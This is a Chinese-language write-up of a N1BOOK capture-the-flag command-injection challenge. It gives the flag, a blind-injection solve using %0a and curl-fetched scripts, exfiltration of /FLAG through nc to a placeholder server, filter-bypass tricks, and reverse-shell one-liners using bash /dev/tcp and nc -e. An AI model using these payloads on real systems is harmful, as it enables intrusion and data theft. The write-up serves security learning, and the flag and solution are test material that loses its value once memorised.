0x00 背景
详细的写了N1BOOK中命令执行题目的题解,nc、curl、server基本用法
题目地址
0x01 flag
n1book{6fa82809179d7f19c67259aa285a7729}
0x02 思路
- 访问环境,测试命令
127.0.0.1
- 接着测试
127.0.0.1 && ls,这里浪费了一点时间,以为&&不能让ls命令执行,其实是因为浏览器将我们输入的&&转码了,导致我们的输入其实变成了127.0.0.1+%26%26+ls
建议以后做注入题目时,直接用burpsuite,防止注入的数据被浏览器转码

- 这里还有一个问题,虽然ip ping成功,但后面的命令不一定执行了。接着用
sleep 5进行延时注入,发现&&命令并不能让后面的sleep命令执行,接着测试%0a连接符,可以让后面的sleep命令执行 - 开始猜测flag的位置,
flag、flag.php、flag.txt等,没有找到明显的flag文件。由于没有命令执行的回显,如何找到flag文件并且将文件数据传出来是个问题,考虑{flag file} | nc {your_server_ip port}将数据传出来,但|和:符号被判定为恶意字符。
如果没有服务器,可以用buuctf开小号,在basic/Linux labs上启动一个内网服务器
5. >没有被过滤,可以从服务器下载恶意脚本到本地并执行。这里使用curl {your_server_ip}/ctf.sh,然后准备给sh文件加执行权限,却无法添加,最后怀疑当前用户在当前目录没有保存文件的权限。

6. 于是将ctf.sh保存到tmp目录下。添加可执行权限。

7. 这里其实传了两次.sh文件,第一次的文件内容为ls | nc {your_server_ip port},得到当前目录下的文件列表,发现存在/FLAG文件,第二次的文件内容为cat /FLAG | nc {your_server_ip port},将/FLAG文件内容传出来。
8. 在服务器上监听本地端口nc -lvp 8888,这里我的是8888。然后执行ctf.sh,得到回传的数据。

0x03 总结
命令执行主要是通过特殊字符让本不该执行的命令执行。常用的特殊字符有
- 转义符
^、\、& - 连接符
&&、||、%0a、%0d、;、$() - 注释符号
#、::
0x04 进一步的扩宽一下难度
- cmd可以会过滤空格,可以用其他字符绕过
- %09、%0b、%0c、$IFS$9
- 黑名单绕过
- 字符串拼接,
a=c;b=at;c=he;d=llo;$a$b ${c}${d}为cat hello - 字符串截取,substr
nc、curl命令的使用,>、|重定向符的使用- 常用反弹shell
- 攻击者服务器监听8888端口,nc -lvp 8888
- 受害者1
bash -i >& /dev/tcp/{server_ip}/8888 0>&1 - 受害者2
nc -e /bin/sh {server_ip} 8888